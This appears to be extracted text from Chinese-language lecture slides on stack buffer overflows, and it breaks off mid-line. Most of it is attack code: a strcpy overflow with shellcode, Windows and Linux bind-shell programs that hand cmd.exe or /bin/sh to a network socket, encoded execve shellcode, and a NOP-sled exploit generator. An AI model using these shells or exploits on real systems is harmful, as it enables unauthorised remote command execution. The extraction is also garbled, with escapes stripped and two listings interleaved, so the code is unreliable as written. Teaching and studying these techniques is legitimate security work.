int funcint a int b int ret Val
一个函数调用示例 • 函数: int func(int a, int b){ int ret. Val = a + b; return ret. Val; } Stack frame … 2 1 Ret-add int main(int argc, char* argv[]) { int result = func(1, 2); printf("Hello World!n"); return 0; } • EIP、EBP、ESP指针 ebp ret. Val …
栈溢出(stack overflow) #include <stdio. h> #include <string. h> char shellcode[] = "xebx 1 fx……"; char large_string[128]; int main(int argc, char **argv){ char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0; } 高地址 para 1 para 2 Return add Buffer (96 bytes) shellcode i long_ptr 低地址
Windows下的远程shellcode代码(C版本) #include <winsock 2. h> #include <stdio. h> int main() { WSADATA wsa; SOCKET listen. FD; char Buff[1024]; int ret; WSAStartup(MAKEWORD(2, 2), &wsa); listen. FD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); struct sockaddr_in server; server. sin_family = AF_INET; server. sin_port = htons(53764); server. sin_addr. s_addr=ADDR_ANY; ret=bind(listen. FD, (sockaddr *)&server, sizeof(server)); ret=listen(listen. FD, 2); int i. Addr. Size = sizeof(server); SOCKET client. FD=accept(listen. FD, (sockaddr *)&server, &i. Addr. Size);
Windows下的远程shellcode代码(续一) SECURITY_ATTRIBUTES sa; sa. n. Length=12; sa. lp. Security. Descriptor=0; sa. b. Inherit. Handle=true; HANDLE h. Read. Pipe 1, h. Write. Pipe 1, h. Read. Pipe 2, h. Write. Pipe 2; ret = Create. Pipe(&h. Read. Pipe 1, &h. Write. Pipe 1, &sa, 0); // 管道 1:cmd. exe进程写数据到管道,父进程从管道中读出数据 ret = Create. Pipe(&h. Read. Pipe 2, &h. Write. Pipe 2, &sa, 0); // 管道 2:父进程写数据到管道, cmd. exe进程从管道中读出数据 STARTUPINFO si; Zero. Memory(&si, sizeof(si)); si. dw. Flags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; si. w. Show. Window = SW_HIDE; si. h. Std. Input = h. Read. Pipe 2; si. h. Std. Output = si. h. Std. Error = h. Write. Pipe 1; char cmd. Line[] = "cmd. exe"; PROCESS_INFORMATION Process. Information; ret=Create. Process(NULL, cmd. Line, NULL, 1, 0, NULL, &si, &Process. Information);
Windows下的远程shellcode代码(续二) unsigned long l. Bytes. Read; while(1) { ret=Peek. Named. Pipe(h. Read. Pipe 1, Buff, 1024, &l. Bytes. Read, 0, 0); // 看看cmd. exe是否有数据输出 if (l. Bytes. Read) { ret=Read. File(h. Read. Pipe 1, Buff, l. Bytes. Read, &l. Bytes. Read, 0); if (!ret) break; ret = send(client. FD, Buff, l. Bytes. Read, 0); if (ret<=0) break; } else { l. Bytes. Read=recv(client. FD, Buff, 1024, 0); if (l. Bytes. Read<=0) break; ret=Write. File(h. Write. Pipe 2, Buff, l. Bytes. Read, &l. Bytes. Read, 0); if (!ret) break; } } return 0; } // main()
编写Linux平台下的shellcode • 编写Linux平台下的shellcode要简单得多,下面是 本地的shellcode(C语言) #include <stdio. h> void main() { char *name[2]; } name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); • 对于远程shell,把输入输出与socket联系起来
Linux下的远程shellcode代码(C版本) int main() { char *name[2]; int fd, fd 2, fromlen; struct sockaddr_in serv; } fd=socket(AF_INET, SOCK_STREAM, 0); serv. sin_addr. s_addr=0; serv. sin_port=1234; serv. sin_family=AF_INET; bind(fd, (struct sockaddr *)&serv, 16); listen(fd, 1); fromlen=16; /*(sizeof(struct sockaddr)*/ fd 2=accept(fd, (struct sockaddr *)&serv, &fromlen); /* "connect" fd 2 to stdin, stdout, stderr */ dup 2(fd 2, 0); dup 2(fd 2, 1); dup 2(fd 2, 2); name[0]="/bin/sh"; name[1]=NULL; execve(name[0], name, NULL); exit(0);
char shellcode[]= "xebx 38" /* jmp 0 x 38 */ "x 5 e" /* popl %esi */ "x 80x 46x 01x 50" /* addb $0 x 50, 0 x 1(%esi) */ "x 80x 46x 02x 50" /* addb $0 x 50, 0 x 2(%esi) */ "x 80x 46x 03x 50" /* addb $0 x 50, 0 x 3(%esi) */ "x 80x 46x 05x 50" /* addb $0 x 50, 0 x 5(%esi) */ "x 80x 46x 06x 50" /* addb $0 x 50, 0 x 6(%esi) */ "x 89xf 0" /* movl %esi, %eax */ #include<string. h> "x 83xc 0x 08" /* addl $0 x 8, %eax */ #include<ctype. h> "x 89x 46x 08" /* movl %eax, 0 x 8(%esi) */ int main(int argc, char **argv) "x 31xc 0" /* xorl %eax, %eax */ { "x 88x 46x 07" /* movb %eax, 0 x 7(%esi) */ char buffer[1024]; "x 89x 46x 0 c" /* movl %eax, 0 xc(%esi) */ int i; "xb 0x 0 b" /* movb $0 xb, %al */ if(argc>1) "x 89xf 3" /* movl %esi, %ebx */ { "x 8 dx 4 ex 08" /* leal 0 x 8(%esi), %ecx */ for(i=0; i<strlen(argv[1]); i++) "x 8 dx 56x 0 c" /* leal 0 xc(%esi), %edx */ argv[1][i]= "xcdx 80" /* int $0 x 80 */ toupper(argv[1][i]); "x 31xdb" /* xorl %ebx, %ebx */ strcpy(buffer, argv[1]); "x 89xd 8" /* movl %ebx, %eax */ } "x 40" /* inc %eax */ } "xcdx 80" /* int $0 x 80 */ "xe 8xc 3xffxff" /* call -0 x 3 d */ "x 2 fx 12x 19x 1 ex 2 fx 23x 18"; /*. string "/bin/sh" */ /* /bin/sh is disguised */ Linux下Buffer overflows的例子
Linux下Buffer overflows的exploit例子 #include<stdio. h> #include<stdlib. h> #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0 x 90 char shellcode[]=“…”; unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } main(int argc, char **argv) { char *ptr, buff[RET_POSITION+RANGE+ALIGN+1]; long addr; unsigned long sp; int i; int offset=OFFSET, bsize=RET_POSITION +RANGE+ALIGN+1; if(argc>1) offset=atoi(argv[1]); } sp=get_sp(); addr=sp-offset; for(i=0; i<bsize; i+=4) { buff[i+ALIGN]= (addr&0 x 000000 ff); buff[i+ALIGN+1]= (addr&0 x 0000 ff 00)>>8; buff[i+ALIGN+2]= (addr&0 x 00 ff 0000)>>16; buff[i+ALIGN+3]= (addr&0 xff 000000)>>24; } for(i=0; i<bsize-RANGE*2 -strlen(shellcode)-1; i++) buff[i]=NOP; ptr=buff+bsize-RANGE*2 -strlen(shellcode)-1; for(i=0; i<strlen(shellcode); i++) *(ptr++)=shellcode[i]; buff[bsize-1]='